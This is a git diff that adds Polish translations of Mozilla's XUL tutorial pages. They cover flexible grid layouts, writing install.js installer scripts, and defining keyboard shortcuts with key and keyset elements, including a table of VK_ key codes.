+ &lt;label control="middle" value="Drugie imię:"/&gt;
+ &lt;label control="last" value="Nazwisko:"/&gt;
+ &lt;/column&gt;
+ &lt;column&gt;
+ &lt;textbox id="first"/&gt;
+ &lt;textbox id="middle"/&gt;
+ &lt;textbox id="last"/&gt;
+ &lt;/column&gt;
+ &lt;/columns&gt;
+
+&lt;/grid&gt;
+</pre>
+<p>Ta siatka posiada trzy wiersze i dwie kolumny. Elementy <code><code><a href="/pl/docs/Mozilla/Tech/XUL/row" title="row">row</a></code></code> są rozmieszczone do określenia, jak wiele ich tam jest. Możemy dodać atrybut <code><code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code></code> do wiersza, aby uczynić go elastycznym. Zawartość jest umieszczona wewnątrz każdej kolumny. Pierwszy element wewnątrz każdego elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/column" title="column">column</a></code></code> jest umieszczony w pierwszym wierszu, drugi element w drugim wierszu, a trzeci element jest umieszczony w trzecim wierszu.
+</p><p>Jeśli wstawisz zawartość w obu kolumnach i wierszach, zawartość będzie nachodziła każda inaczej, poprzez wyrównanie ich we własnościach siatki. Tworzy to efekt podobny do siatki elementów <code><code><a href="/pl/docs/Mozilla/Tech/XUL/stack" title="stack">stack</a></code></code>.
+</p><p>Porządek elementów w <code><code><a href="/pl/docs/Mozilla/Tech/XUL/grid" title="grid">grid</a></code></code> określa, co jest wyświetlane na górze, a które są umieszczone poniżej. Jeśli element <code>rows</code> jest umieszczony po elemencie kolumny, zawartość wewnątrz wierszy jest wyświetlana na górze. Jeśli element <code>columns</code> jest umieszczony po elemencie <code>rows</code>, zawartość wewnątrz kolumn jest wyświetlona na górze. Podobnie zdarzenia, takie jak przyciski myszy i naciskanie klawiszy, są wysyłane tylko do zbioru u góry. Jest tak dlatego, że kolumny zadeklarowano po wierszach w powyższym przykładzie. Jeśli kolumny umieszczono jako pierwsze, wiersze wychwycą zdarzenia i nie będziemy mogli nic dopisać do tych pól.
+</p>
+<h4 id="Elastyczno.C5.9B.C4.87_siatki" name="Elastyczno.C5.9B.C4.87_siatki"> Elastyczność siatki </h4>
+<p>Jedną z zalet, które posiadają siatki nad zagnieżdżonymi pudełkami, jest to, że możemy tworzyć komórki, które są elastyczne zarówno w poziomie, jak w pionie. Możemy to zrobić poprzez wstawienie atrybutu <code><code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code></code> zarówno w wierszu, jak i kolumnie. Pokazuje nam to poniższy przykład:
+</p><p><br>
+<span id="Przyk%C5%82ad_4"><a id="Przyk%C5%82ad_4"></a><strong>Przykład 4</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_grids_4.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_grids_4.xul">Podgląd</a>
+</p>
+<pre>&lt;grid flex="1"&gt;
+ &lt;columns&gt;
+ &lt;column flex="5"/&gt;
+ &lt;column/&gt;
+ &lt;column/&gt;
+ &lt;/columns&gt;
+ &lt;rows&gt;
+ &lt;row flex="10"&gt;
+ &lt;button label="Wiśnia"/&gt;
+ &lt;button label="Cytryna"/&gt;
+ &lt;button label="Grejfrut"/&gt;
+ &lt;/row&gt;
+ &lt;row flex="1"&gt;
+ &lt;button label="Truskawka"/&gt;
+ &lt;button label="Malina"/&gt;
+ &lt;button label="Brzoskwinia"/&gt;
+ &lt;/row&gt;
+ &lt;/rows&gt;
+&lt;/grid&gt;
+</pre>
+<p>Pierwsza kolumna i oba wiersze zrobiono elastycznymi. W wyniku tego każda komórka w pierwszej kolumnie będzie elastyczna poziomo. Dodatkowo, każda komórka będzie elastyczna pionowo, ponieważ oba wiersze są elastyczne, chociaż pierwszy wiersz jest bardziej elastyczny. Komórka w pierwszej kolumnie i pierwszym wierszu (przycisk Wiśnia) będą elastyczne o współczynniku 5 poziomo i elastyczne o współczynniku 10 pionowo. Kolejna komórka (Cytryna) będzie tylko elastyczna pionowo.
+</p><p>Atrybut <code><code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code></code> może również być dodany do elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/grid" title="grid">grid</a></code></code>, aby cała siatka była elastyczna, w przeciwnym razie będzie ona tylko rosła w jednym kierunku.
+</p>
+<h3 id=".C5.81.C4.85czenie_kolumn" name=".C5.81.C4.85czenie_kolumn"> Łączenie kolumn </h3>
+<p>Nie ma sposobu na połączenie komórki, szczególnie wielu kolumn lub wierszy. Jednak możliwe jest stworzenie wiersza lub kolumny, które obejmują całą szerokość lub wysokość siatki. Robi się to poprzez dodanie elementu do wewnątrz elementu <code>rows</code>, który nie jest wewnątrz elementu <code>row</code>. Możemy zastosować typ pudełka i wstawić inne elementy wewnątrz niego, jeśli chcemy użyć kilku elementów. Tu mamy prosty przykład:
+</p><p><span id="Przyk%C5%82ad_5"><a id="Przyk%C5%82ad_5"></a><strong>Przykład 5</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_grids_5.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_grids_5.xul">Podgląd</a>
+</p>
+<pre>&lt;grid&gt;
+ &lt;columns&gt;
+ &lt;column flex="1"/&gt;
+ &lt;column flex="1"/&gt;
+ &lt;/columns&gt;
+
+ &lt;rows&gt;
+ &lt;row&gt;
+ &lt;label value="północno-zachodni"/&gt;
+ &lt;label value="północno-wschodni"/&gt;
+ &lt;/row&gt;
+ &lt;button label="równik"/&gt;
+ &lt;row&gt;
+ &lt;label value="południowo-zachodni"/&gt;
+ &lt;label value="południowo-wschodni"/&gt;
+ &lt;/row&gt;
+ &lt;/rows&gt;
+&lt;/grid&gt;
+</pre>
+<p>Przycisk będzie wystarczający, aby wypełnić całą szerokość siatki, ponieważ nie jest wewnątrz wiersza siatki. Możesz używać podobnej metody, aby dodać element pomiędzy dwoma kolumnami. Będzie to wystarczające, aby wypełnić wysokość siatki. Możemy również zrobić te dwie rzeczy razem, jeśli jest to pożądane.
+</p><p>Następnie przyjrzymy się dodawaniu <a href="pl/Kurs_XUL/Panele_tre%c5%9bci">paneli zawartości</a>.
+</p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Pudełko_kart" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Panele_treści">Następny »</a></p>
+</div>
+<p></p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/skrypty_instalacyjne/index.html b/files/pl/mozilla/tech/xul/kurs_xul/skrypty_instalacyjne/index.html
new file mode 100644
index 0000000000..cb7014183e
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/skrypty_instalacyjne/index.html
@@ -0,0 +1,135 @@
+---
+title: Skrypty instalacyjne
+slug: Mozilla/Tech/XUL/Kurs_XUL/Skrypty_instalacyjne
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Install_Scripts
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Tworzenie_instalatora" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Dodatkowe_możliwości_instalacji">Następny »</a></p>
+</div> W tym artykule zostaną opisane skrypty instalacyjne.<p></p>
+
+<h2 id="Tworzenie_skryptu_instalacji" name="Tworzenie_skryptu_instalacji">Tworzenie skryptu instalacji</h2>
+
+<div class="note"><b>UWAGA</b>: For Firefox Extensions, &lt;tt&gt;install.js&lt;/tt&gt; are no longer used. You should create a &lt;tt&gt;<a href="pl/Manifesty_Instalacji">install.rdf</a>&lt;/tt&gt; instead.</div>
+
+<p>Zwykle będziesz chciał mieć kontrole nad procesem instalacji. Na przykład, będziesz chciał sprawdzić wersje plików, a następne instalować tylko nowsze. Skrypt instalacyjny jest wystarczająco elastyczny by umożliwić deinstalację plików. Z tego powodu, instalator zawierają skrypty instalacyjne do sterowania procesem instalacji.</p>
+
+<p>Skrypt instalatora musi być nazwany install.js i umieszczony na głównym poziomie archiwum instalatora. Skrypt zawiera kod JavaScript, który wywoła odpowiednią liczbę instrukcji.</p>
+
+<p>W dokumencie HTML lub XUL, obiekt okna jest głównym obiektem. To znaczy, możesz wywołać metody obiektu okna z kwalifikatorem z przodu, co znaczy <code>window.open()</code> może być prosto napisane <code>open()</code>. W skrypcie instalacyjnym nie ma żadnego przyporządkowanego okna, jednak obiekt globalny zostanie obiektem instalacyjnym, który zawiera pewną liczbę funkcji to przystosowywania procesu instalacji. Kilka funkcji obiektu instalacyjnego jest opisanych poniżej.</p>
+
+<p>Skrypt instalacyjny powinien podjąć następujące kroki:</p>
+
+<ol>
+ <li>Inicjacja instalacji z wyszczególnieniem, które paczki i wersje są instalowane.</li>
+ <li>Użycie funkcji instalacyjnej do określenia pliki i katalogi są konieczne do instalacji. Możesz także wybrać pliki do przeniesienia lub usunięcia.</li>
+ <li>Rozpoczęcie procesu instalowania koniecznych plików.</li>
+</ol>
+
+<p>Ważne jest to, że podczas drugiego kroku, wskazujesz, które pliki powinny być zainstalowane i jakie inne działania powinny być podjęte. Żaden plik nie będzie skopiowany aż do trzeciego kroku. Dzięki temu możemy wyszczególnić pliki, które mają zostać zainstalowane, rozpoznać różne błędy, czy przerwać proces bez modyfikacji systemu użytkownika.</p>
+
+<h2 id="Rejestr_sk.C5.82adnik.C3.B3w" name="Rejestr_sk.C5.82adnik.C3.B3w">Rejestr składników</h2>
+
+<p>Mozilla utrzymuje plik, który jest rejestrem wszystkich komponentów, które są aktualnie zainstalowane. Komponenty zawierają nowe paczki chrome, skóry i wtyczki. Gdy nowy składnik jest instalowany, rejestr jest aktualizowany. Przechowywane są tam także informacje o wersjach zainstalowanych plików. W ten sposób łatwiej jest sprawdzić, którą wersję masz zainstalowaną, a co za tym idzie, które pliki aktualizować.</p>
+
+<p>Rejestr składników pracuje podobnie do rejestru Windows. Składa się z układu kluczy i ich wartości. Jednak nie musisz tego umieć by tworzyć aplikacje XUL, jeżeli nie tworzysz własnych komponentów XPCOM.</p>
+
+<p>To, co potrzebujesz wiedzieć dla instalacji, to, że rejestr magazynuje zestaw informacji o twojej aplikacji, jak lista plików i wersji. Wszystko jest przechowywane w kluczu, który dostarczasz w skrypcie instalacyjnym.</p>
+
+<p>Klucz jest skonstruowany w następujący sposób:</p>
+
+<pre>/Author/Package Name
+</pre>
+
+<p>Zamień słowo Author swoim imieniem I Package Name nazwą paczki, którą instalujesz. Na przykład:</p>
+
+<pre>/Xulplanet/Find Files
+
+/Netscape/Personal Security Manager
+</pre>
+
+<p>Pierwsze, co użyjemy to domyślny katalog, którego użyjemy w dialogu wyszukiwania plików. Drugą rzeczą jest klucz użyty, dla Personal Security Manager.</p>
+
+<h2 id="Inicjacja_instalacji" name="Inicjacja_instalacji">Inicjacja instalacji</h2>
+
+<p>Obiekt instalacyjny masz funkcję initInstall, która może zostać użyta do rozpoczęcia instalacji. To powinno być wywołane na początku skryptu instalacyjnego. Składnia tej funkcji wygląda następująco:</p>
+
+<pre class="eval">initInstall(<i>packageName</i> ,
+<i>regPackage</i> ,
+<i>version</i> );
+
+<b>Example:</b>
+
+initInstall("Find Files","/Xulplanet/Find Files","0.5.0.0");
+</pre>
+
+<p>Pierwszym argumentem jest nazwa paczki w formie czytelnej dla użytkownika. Drugi argument jest kluczem rejestru do przechowywania informacji o paczce, jak opisano wcześniej. Trzeci argument jest wersją instalowanej paczki. Następnie, musimy ustalić katalog, w którym pliki mają zostać zainstalowane. Są na to dwa sposoby. Prostą metodą jest wyznaczenie katalogu, w którym wszystkie pliki zostaną umieszczone, Drugim sposobem możemy ustalić położenie w wcześniej umieszczonym pliku. Pierwsza metoda opisana jest poniżej.</p>
+
+<p>Funkcja setPackageFolder przyporządkowuje katalog dla instalacji. W dialogu wyszukiwania pliku, będziemy instalować pliki w katalogu chrome. Dla maksymalnej mobilności, nie możesz ustalić nazwy katalogu. Zamiast tego, wyszczególnisz identyfikator znanego katalogu i otrzymujesz jego podkatalogi. Tak, że jeżeli twoja aplikacja musi zainstalować kilka bibliotek systemowych, nie musisz znać nazw tych katalogów.</p>
+
+<p>Identyfikatory katalogów, są wypisane w <a class="external" href="http://www.xulplanet.com/references/elemref/ref_Install.html#prop_getFolder">dokumentacji XULPlanet</a>. Dla katalogu chrome, identyfikatorem jest ‘Chrome’. Funkcja getFolder może zostać użyta do uzyskania któregoś z tych specjalnych katalogów. Funkcja ta pobiera dwa argumenty, pierwszy jest identyfikatorem, a drugi podkatalogiem. Na przykład:</p>
+
+<pre>findDir = getFolder("Chrome","findfile");
+setPackageFolder(findDir);
+</pre>
+
+<p>Otrzymujemy folder findfile w folderze Chrome i przenosimy go bezpośrednio do funkcji setPackageFolder. Drugi argument jest podkatalogiem, w którym mamy instalować, nie musi on istnieć. Możesz opuścić en argument, jeżeli nie potrzebujesz go.</p>
+
+<h2 id="Ustawianie_plik.C3.B3w_instalacyjnych" name="Ustawianie_plik.C3.B3w_instalacyjnych">Ustawianie plików instalacyjnych</h2>
+
+<p>Następnie musisz wyszczególnić to, które pliki powinny zostać zainstalowane. To wymusza użycie dwóch funkcji <code>addDirectory()</code> i <code>addFile()</code>. Funkcja <code>addDirectory()</code>mówi instalatorowi, który katalog z archiwum XPI powinien być zainstalowany, w jakiejś szczególnej lokalizacji. Druga funkcja działa tak samo, tyle, że dotyczy pliku.</p>
+
+<p>Obie funkcje <code>addDirectory()</code> and <code>addFile()</code> mogą przyjmować różne formy. W najprostszej, pobiera tylko jeden argument, katalog od instalatora by zainstalować w wyznaczonym katalogu.</p>
+
+<pre class="eval">addDirectory (<i>dir</i> );
+addFile (
+<i>dir</i> );
+
+<b>Przykład:</b>
+
+addDirectory("findfile");
+</pre>
+
+<p>Powyższy przykład wyszczególnia to, że katalog findfile powinien być zainstalowany. Możemy wywoływać te funkcje wiele razy do instalacji innych plików.</p>
+
+<p>Następnie będziemy chcieli zarejestrować pliki findfiles w systemie chrome, tak, że mogą być stosowane przez adres URL chrome. To może być wykonane przy pomocy funkcji <code>registerChrome()</code>. Potrzebuje dwóch argumentów, pierwszy to typ rejestru chrome. Drugi, katalog zawierający plik contents.rdf. Ponieważ zawarte są trzy pliki, dodatkowo plik skóry i lokalizacji, funkcja będzie wywołana trzy razy.</p>
+
+<pre>registerChrome(Install.CONTENT | Install.DELAYED_CHROME, getFolder(findDir, "content"));
+registerChrome(Install.SKIN | Install.DELAYED_CHROME, getFolder(findDir, "skin"));
+registerChrome(Install.LOCALE | Install.DELAYED_CHROME, getFolder(findDir, "locale"));
+</pre>
+
+<p>Flaga DELAYED_CHROME jest stosowana do sygnalizacji, że chrome powinien być zainstalowany następnym razem po uruchomieniu Mozilli.</p>
+
+<h2 id="Kompletowanie_instalacji" name="Kompletowanie_instalacji">Kompletowanie instalacji</h2>
+
+<p>Funkcje <code>addDirectory()</code> i <code>addFile()</code> nie kopiują żadnych plików. One tylko podają, które pliki powinny zostać zainstalowane. Podobnie <code>registerChrome()</code>. Aby zakończyć proces instalacji i zacząć kopiowanie plików wywołaj funkcję <code>performInstall()</code>. To nie potrzebuje żadnych argumentów.</p>
+
+<p>Końcowy skrypt do instalacji komponentów <code>Znajdź pliki</code> są pokazane poniżej:</p>
+
+<div class="highlight">
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_xpiscript_1.js.txt">Źródła</a></p>
+
+<pre>initInstall("Find Files","/Xulplanet/Find Files","0.5.0.0");
+
+findDir = getFolder("Chrome","findfile");
+setPackageFolder(findDir);
+
+addDirectory("findfile");
+
+registerChrome(Install.CONTENT | Install.DELAYED_CHROME, getFolder(findDir, "content"));
+registerChrome(Install.SKIN | Install.DELAYED_CHROME, getFolder(findDir, "skin"));
+registerChrome(Install.LOCALE | Install.DELAYED_CHROME, getFolder(findDir, "locale"));
+
+performInstall();
+</pre>
+</div>
+
+<p>Następnie, zobaczymy <a href="pl/Kurs_XUL/Dodatkowe_mo%c5%bcliwo%c5%9bci_instalacji">dodatkowe funkcje instalacji</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Tworzenie_instalatora" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Dodatkowe_możliwości_instalacji">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/skróty_klawiaturowe/index.html b/files/pl/mozilla/tech/xul/kurs_xul/skróty_klawiaturowe/index.html
new file mode 100644
index 0000000000..62a2f5e206
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/skróty_klawiaturowe/index.html
@@ -0,0 +1,378 @@
+---
+title: Skróty klawiaturowe
+slug: Mozilla/Tech/XUL/Kurs_XUL/Skróty_klawiaturowe
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - Strony_wymagające_dopracowania
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Keyboard_Shortcuts
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Więcej_funkcji_obsługi_zdarzeń" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Kontrola_zaznaczenia_i_aktywacji_elementów">Następny »</a></p>
+</div><p></p>
+
+<p>XUL umożliwia także użycie obsługi zdarzeń związanych z klawiaturą. Jednak byłoby to nudne w odniesieniu do każdego przycisku oraz każdej pozycji znajdującej się w menu.</p>
+
+<h3 id="Tworzenie_skr.C3.B3tu_klawiaturowego" name="Tworzenie_skr.C3.B3tu_klawiaturowego">Tworzenie skrótu klawiaturowego</h3>
+
+<p>XUL dostarcza metod, za pomocą których jesteśmy w stanie zdefiniować skróty klawiaturowe. Widzieliśmy już <a href="pl/Kurs_XUL/Proste_paski_menu">w artykule o menu</a>, że jesteśmy w stanie zdefiniować atrybut zwany <code>accesskey</code>, który określa klawisz po wciśnięciu którego aktywowane będzie menu lub też któraś z jego pozycji. W poniższym przykładzie, menu Plik może zostać wybrane poprzez wciśnięcie Alt i F (lub innej kombinacji dla danej platformy). Kiedy otworzy się menu Plik, jesteśmy w stanie wybrać pozycję Zakończ za pomocą wciśnięcia klawisza Z.</p>
+
+<p><span id="Przyk%C5%82ad_1"><a id="Przyk%C5%82ad_1"></a><strong>Przykład 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_keyshort_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_keyshort_1.xul">Podgląd</a></p>
+
+<pre>&lt;menubar id="sample-menubar"&gt;
+ &lt;menu id="file-menu" label="Plik" accesskey="p"&gt;
+ &lt;menupopup id="file-popup"&gt;
+ &lt;menuitem id="close-command" label="Zakończ" accesskey="z"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/menu&gt;
+&lt;/menubar&gt;
+</pre>
+
+<p>Można także zastosować atrybut <code><code id="a-accesskey"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/accesskey">accesskey</a></code></code> dla przycisków. W tym przypadku kiedy klawisz zostanie wciśnięty, przycisk zostanie wybrany.</p>
+
+<p>Możesz jednak zechcieć ustawić więcej skrótów klawiaturowych. Przykładowo, wciśnięcie Control+C, które spowoduje skopiowanie tekstu do schowka. Chociaż skróty takie jak ten mogą nie zawsze być poprawne, to zazwyczaj działają w dowolnej chwili, w której okno jest otwarte. Skrót klawiaturowy będzie dostępny przez większość czasu, w ciągu którego możemy sprawdzić czy w jakimś sensie wykorzystuje skrypt. Przykładowo, kopiowanie tekstu do schowka powinno działać tylko w chwili, w której tekst jest zaznaczony.</p>
+
+<h3 id="Element_key" name="Element_key">Element <code>key</code></h3>
+
+<p>XUL dostarcza element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/key" title="key">key</a></code></code>, który pozwala nam na zdefiniowanie skrótów klawiaturowych dla okna. Posiada atrybuty określające klawisz, który powinien zostać wciśnięty, wraz z którym klawiszem modyfikującym (takie jak - Shifth lub Control). Przykład poniżej:</p>
+
+<pre>&lt;keyset&gt;
+ &lt;key id="sample-key" modifiers="shift" key="R"/&gt;
+&lt;/keyset&gt;
+</pre>
+
+<p>Ten przykład definiuje skrót klawiaturowy, który jest aktywowany w chwili, w której użytkownik wciśnie klawisze Shift i R. Atrybut <code><code id="a-key"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/key">key</a></code></code> (warto zaznaczyć, że posiada taką samą nazwę jak sam element) może być użyty w celu wykrycia, który klawisz powinien zostać wciśnięty. W tym przypadku jest to R. Możemy także dla tego atrybutu dodać dowolny znak, który ma być wciśnięty. Klawisze modyfikujące, które należy wcisnąć określa natomiast atrybut <code><code id="a-modifiers"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/modifiers">modifiers</a></code></code> (możesz podać kilka rozdzielając spacją). Poniżej lista klawiszy modyfikujących.</p>
+
+<dl>
+ <dt>alt </dt>
+ <dd>The user must press the Alt key. On the Macintosh, this is the Option key.</dd>
+ <dt>control </dt>
+ <dd>The user must press the Control key.</dd>
+ <dt>meta </dt>
+ <dd>The user must press the Meta key. This is the Command key on the Macintosh.</dd>
+ <dt>shift </dt>
+ <dd>The user must press the Shift key.</dd>
+ <dt>accel </dt>
+ <dd>The user must press the special accelerator key. The key used for keyboard shortcuts on the user's platform. Usually, this would be the value you would use.</dd>
+</dl>
+
+<p>Twoja klawiatura niekoniecznie musi posiadać wszystkie klawisze. W tym przypadku będą one dostosowane do klawiszy modyfikujących, które posiadamy.</p>
+
+<p>Element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/key" title="key">key</a></code></code> musi zostać umieszczony wewnątrz elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/keyset" title="keyset">keyset</a></code></code>. Ten element został zaprojektowany z myślą o przechowywaniu zestawu elementów <code>key</code> i służy do do grupowania wszystkich definicji klawiszy w jednym miejscu (jednym pliku). Jakiekolwiek elementy <code>key</code> poza elementem <code>keyset</code> nie będą funkcjonować.</p>
+
+<p>Każda platforma używa innych klawiszy dla skrótów klawiaturowych. Przykładowo Windows używa klawisza Control, natomiast Macintosh używa klawisza Command. Byłoby zapewne niewygodne definiować oddzielnie elementy <code>key</code> da każdej platformy. Na szczęście, istnieje rozwiązanie. Modyfikator <code>accel</code>, odnosi się do specjalnego i specyficznego dla danej platformy klawisza używanego dla skrótów. Działa jak każdy inny modyfikator, ale nie dla każdej platformy tak samo.</p>
+
+<p>Poniżej kilka dodatkowych przykładów:</p>
+
+<pre>&lt;keyset&gt;
+ &lt;key id="copy-key" modifiers="control" key="C"/&gt;
+ &lt;key id="explore-key" modifiers="control alt" key="E"/&gt;
+ &lt;key id="paste-key" modifiers="accel" key="V"/&gt;
+&lt;/keyset&gt;
+</pre>
+
+<p>Atrybut <code><code id="a-key"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/key">key</a></code></code> jest używany w celu określenia klawisza, który powinien zostać wciśnięty. Jednak, istnieją przypadki w których chcemy się odwołać do klawiszy które nie mogą zostać określone za pomocą znaków (np: klawisze funkcyjne lub klawisz Enter). Atrybut <code>key</code> może zostać używa dla znaków dających się wyświetlić. Natomiast dla nie możliwych do wyświetlenia znaków służy nam atrybut <code><code id="a-keycode"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/keycode">keycode</a></code></code>.</p>
+
+<p>Atrybut <code><code id="a-keycode"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/keycode">keycode</a></code></code> powinien być ustawiony zgodnie ze specjalnym kodem, który reprezentuje klawisz jaki chcesz wykorzystać. Poniżej przedstawiamy tablicę klawiszy. Nie wszystkie z wymienionych klawiszy są dostępne dla każdej klawiatury.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <td>VK_CANCEL</td>
+ <td>VK_BACK</td>
+ <td>VK_TAB</td>
+ <td>VK_CLEAR</td>
+ </tr>
+ <tr>
+ <td>VK_RETURN</td>
+ <td>VK_ENTER</td>
+ <td>VK_SHIFT</td>
+ <td>VK_CONTROL</td>
+ </tr>
+ <tr>
+ <td>VK_ALT</td>
+ <td>VK_PAUSE</td>
+ <td>VK_CAPS_LOCK</td>
+ <td>VK_ESCAPE</td>
+ </tr>
+ <tr>
+ <td>VK_SPACE</td>
+ <td>VK_PAGE_UP</td>
+ <td>VK_PAGE_DOWN</td>
+ <td>VK_END</td>
+ </tr>
+ <tr>
+ <td>VK_HOME</td>
+ <td>VK_LEFT</td>
+ <td>VK_UP</td>
+ <td>VK_RIGHT</td>
+ </tr>
+ <tr>
+ <td>VK_DOWN</td>
+ <td>VK_PRINTSCREEN</td>
+ <td>VK_INSERT</td>
+ <td>VK_DELETE</td>
+ </tr>
+ <tr>
+ <td>VK_0</td>
+ <td>VK_1</td>
+ <td>VK_2</td>
+ <td>VK_3</td>
+ </tr>
+ <tr>
+ <td>VK_4</td>
+ <td>VK_5</td>
+ <td>VK_6</td>
+ <td>VK_7</td>
+ </tr>
+ <tr>
+ <td>VK_8</td>
+ <td>VK_9</td>
+ <td>VK_SEMICOLON</td>
+ <td>VK_EQUALS</td>
+ </tr>
+ <tr>
+ <td>VK_A</td>
+ <td>VK_B</td>
+ <td>VK_C</td>
+ <td>VK_D</td>
+ </tr>
+ <tr>
+ <td>VK_E</td>
+ <td>VK_F</td>
+ <td>VK_G</td>
+ <td>VK_H</td>
+ </tr>
+ <tr>
+ <td>VK_I</td>
+ <td>VK_J</td>
+ <td>VK_K</td>
+ <td>VK_L</td>
+ </tr>
+ <tr>
+ <td>VK_M</td>
+ <td>VK_N</td>
+ <td>VK_O</td>
+ <td>VK_P</td>
+ </tr>
+ <tr>
+ <td>VK_Q</td>
+ <td>VK_R</td>
+ <td>VK_S</td>
+ <td>VK_T</td>
+ </tr>
+ <tr>
+ <td>VK_U</td>
+ <td>VK_V</td>
+ <td>VK_W</td>
+ <td>VK_X</td>
+ </tr>
+ <tr>
+ <td>VK_Y</td>
+ <td>VK_Z</td>
+ <td>VK_NUMPAD0</td>
+ <td>VK_NUMPAD1</td>
+ </tr>
+ <tr>
+ <td>VK_NUMPAD2</td>
+ <td>VK_NUMPAD3</td>
+ <td>VK_NUMPAD4</td>
+ <td>VK_NUMPAD5</td>
+ </tr>
+ <tr>
+ <td>VK_NUMPAD6</td>
+ <td>VK_NUMPAD7</td>
+ <td>VK_NUMPAD8</td>
+ <td>VK_NUMPAD9</td>
+ </tr>
+ <tr>
+ <td>VK_MULTIPLY</td>
+ <td>VK_ADD</td>
+ <td>VK_SEPARATOR</td>
+ <td>VK_SUBTRACT</td>
+ </tr>
+ <tr>
+ <td>VK_DECIMAL</td>
+ <td>VK_DIVIDE</td>
+ <td>VK_F1</td>
+ <td>VK_F2</td>
+ </tr>
+ <tr>
+ <td>VK_F3</td>
+ <td>VK_F4</td>
+ <td>VK_F5</td>
+ <td>VK_F6</td>
+ </tr>
+ <tr>
+ <td>VK_F7</td>
+ <td>VK_F8</td>
+ <td>VK_F9</td>
+ <td>VK_F10</td>
+ </tr>
+ <tr>
+ <td>VK_F11</td>
+ <td>VK_F12</td>
+ <td>VK_F13</td>
+ <td>VK_F14</td>
+ </tr>
+ <tr>
+ <td>VK_F15</td>
+ <td>VK_F16</td>
+ <td>VK_F17</td>
+ <td>VK_F18</td>
+ </tr>
+ <tr>
+ <td>VK_F19</td>
+ <td>VK_F20</td>
+ <td>VK_F21</td>
+ <td>VK_F22</td>
+ </tr>
+ <tr>
+ <td>VK_F23</td>
+ <td>VK_F24</td>
+ <td>VK_NUM_LOCK</td>
+ <td>VK_SCROLL_LOCK</td>
+ </tr>
+ <tr>
+ <td>VK_COMMA</td>
+ <td>VK_PERIOD</td>
+ <td>VK_SLASH</td>
+ <td>VK_BACK_QUOTE</td>
+ </tr>
+ <tr>
+ <td>VK_OPEN_BRACKET</td>
+ <td>VK_BACK_SLASH</td>
+ <td>VK_CLOSE_BRACKET</td>
+ <td>VK_QUOTE</td>
+ </tr>
+ <tr>
+ <td>VK_HELP</td>
+ <td> </td>
+ <td> </td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Na przykład, aby stworzyć skrót, który jest aktywowany w chwili, w której użytkownik naciśnie Alt i F5, należy użyć poniższego kodu:</p>
+
+<pre>&lt;keyset&gt;
+ &lt;key id="test-key" modifiers="alt" keycode="VK_F5"/&gt;
+&lt;/keyset&gt;
+</pre>
+
+<p>Poniższy przykład demonstruje więcej skrótów klawiaturowych:</p>
+
+<pre>&lt;keyset&gt;
+ &lt;key id="copy-key" modifiers="accel" key="C"/&gt;
+ &lt;key id="find-key" keycode="VK_F3"/&gt;
+ &lt;key id="switch-key" modifiers="control alt" key="1"/&gt;
+&lt;/keyset&gt;
+</pre>
+
+<p>Pierwszy klawisz został wywołany w chwili, w której użytkownik wcisnął określony dla swojej platformy klawisz skrótu i C. Drugi został wywołany poprzez wciśnięcie F3. Trzeci jest wywołany poprzez wciśnięcie klawisza Control, klawisza Alt i 1. Jeśli chcesz oddzielić klawiszze głównej części klawiatury i klawisze numeryczne, zastosuj klawisze VK_NUMPAD (takie jak VK_NUMPAD1).</p>
+
+<div class="note">
+<p>Po więcej informacji na temat skrótów klawiaturowych zajrzyj do <a class="external" href="http://www.mozilla.org/access/keyboard/">Mozilla Keyboard Planning FAQ and Cross Reference</a>.</p>
+</div>
+
